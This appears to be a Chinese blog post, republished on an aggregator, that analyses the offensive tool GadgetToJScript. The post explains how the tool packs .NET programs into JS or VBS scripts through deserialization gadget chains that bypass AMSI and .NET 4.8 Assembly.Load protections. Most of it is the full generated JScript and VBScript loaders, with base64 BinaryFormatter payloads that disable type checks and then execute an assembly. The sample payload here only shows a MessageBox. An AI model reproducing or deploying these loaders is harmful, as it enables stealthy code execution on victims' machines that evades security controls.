逆向GadgetToJScript-反序列化加载.NET程序
Posted SunsetR
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了逆向GadgetToJScript-反序列化加载.NET程序相关的知识,希望对你有一定的参考价值。
前言
GadgetToJScript与之前介绍的DotNetToJScript一样都是一款可以将.NET程序封装到JS、VBS等脚本中执行的开源工具。其区别在于GadgetToJScrip修改了反序列化调用链,它能够绕过AMSI,并添加了绕过.NET4.8与阻止Assembly.Load的功能。
项目结构
GadgetToJScript(主项目)
templates文件夹用于保存JS、VBS等脚本模板,在程序执行时会读取对应模板,填充Payload数据,然后生成对应的攻击脚本。
TestAssemblyLoader.cs文件用于保存与编译Payload,编译后的Payload会被填充到JS等攻击脚本中。
另外Github上有修改后的版本,可以直接从文档中读取Payload,方便开发维护。
编译生成
下载项目直接编译即可,编译成功后如果Win7下生成JS脚本失败可以使用Win10环境测试。
使用示例
使用"TestAssemblyLoader"作为测试Payload,简单弹出MessageBox
ToJS
1 C:\\Users\\Sunset\\Desktop\\GadgetToJScript>GadgetToJScript.exe -w js -o test
1 //Base64转码 2 function Base64ToStream(b,l) { 3 var enc = new ActiveXObject("System.Text.ASCIIEncoding"); 4 var length = enc.GetByteCount_2(b); 5 var ba = enc.GetBytes_4(b); 6 var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); 7 ba = transform.TransformFinalBlock(ba, 0, length); 8 var ms = new ActiveXObject("System.IO.MemoryStream"); 9 ms.Write(ba, 0, l); 10 ms.Position = 0; 11 return ms; 12 } 13 14 //用于绕过.NET4.8,与阻止Assembly.Load的功能 15 var stage_1 = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRp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ICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgICAgICAgICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICAgICAgICAgICAgPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw=="; 16 //执行Payload,这里只是简单弹出一个MessageBox 17 var stage_2 = "AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGV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l9iAl9jAl9kAl9lAl9mAl9nAl9oAl9pAl9qAl9rAAAAAAAAAAAAAAAIBwcCAgICAgICAhMT0nTuKtERi/sAoMkPJvcLCw=="; 18 19 try { 20 21 var shell = new ActiveXObject(\'WScript.Shell\'); 22 ver = \'v4.0.30319\'; 23 24 try { 25 shell.RegRead(\'HKLM\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\v4.0.30319\\\\\'); 26 } catch(e) { 27 ver = \'v2.0.50727\'; 28 } 29 30 shell.Environment(\'Process\')(\'COMPLUS_Version\') = ver; 31 32 var ms_1 = Base64ToStream(stage_1, 2341); 33 var fmt_1 = new ActiveXObject(\'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\'); 34 //反序列化执行 35 fmt_1.Deserialize_2(ms_1); 36 37 } catch (e) { 38 try{ 39 var ms_2 = Base64ToStream(stage_2, 9073); 40 var fmt_2 = new ActiveXObject(\'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\'); 41 //反序列化执行 42 fmt_2.Deserialize_2(ms_2); 43 44 }catch (e2){} 45 }
ToVBS
1 1 C:\\Users\\Sunset\\Desktop\\GadgetToJScript>GadgetToJScript.exe -w vbs -o test
1 Function Base64ToStream(b,l) 2 Dim enc, length, transform, ms 3 Set enc = CreateObject("System.Text.ASCIIEncoding") 4 length = enc.GetByteCount_2(b) 5 Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") 6 Set ms = CreateObject("System.IO.MemoryStream") 7 ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l 8 ms.Position = 0 9 Set Base64ToStream = ms 10 End Function 11 12 Dim shell 13 Set shell = CreateObject("WScript.Shell") 14 Dim ver 15 ver = "v4.0.30319" 16 On Error Resume Next 17 shell.RegRead "HKLM\\SOFTWARE\\\\Microsoft\\.NETFramework\\v4.0.30319\\" 18 If Err.Number <> 0 Then 19 ver = "v2.0.50727" 20 Err.Clear 21 End If 22 shell.Environment("Process").Item("COMPLUS_Version") = ver 23 24 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JvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICAgICAgICAgICAgPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw==" 28 stage_2 = "AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5E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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFcAAAALU3lzdGVtLkd1aWQLAAAAAl9hAl9iAl9jAl9kAl9lAl9mAl9nAl9oAl9pAl9qAl9rAAAAAAAAAAAAAAAIBwcCAgICAgICAhMT0nTuKtERi/sAoMkPJvcLCw==" 29 30 Dim fmt_1 31 Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") 32 \'反序列化执行,代码逻辑与JS基本相同 33 fmt_1.Deserialize_2(Base64ToStream(stage_1, 2341)) 34 35 If Err.Number <> 0 Then 36 Dim fmt_2 37 Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") 38 \'反序列化执行,代码逻辑与JS基本相同 39 fmt_2.Deserialize_2(Base64ToStream(stage_2, 9073)) 40 End If
参考资料
https://github.com/med0x2e/GadgetToJScript
https://github.com/3gstudent/GadgetToJScript
http://heiketm.com/2019/10/25/gadgettojscript%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/
https://patrilic.top/2020/03/10/DotNetToJScript%20&&%20GadgetToJScript/#0x02-GadgetToJScript
以上是关于逆向GadgetToJScript-反序列化加载.NET程序的主要内容,如果未能解决你的问题,请参考以下文章
反序列化具有在 AssemblyResolve 上加载的其他程序集中声明的类型字段的对象时出错
如果我从常规 DLL 加载 MFC DLL,反序列化将停止工作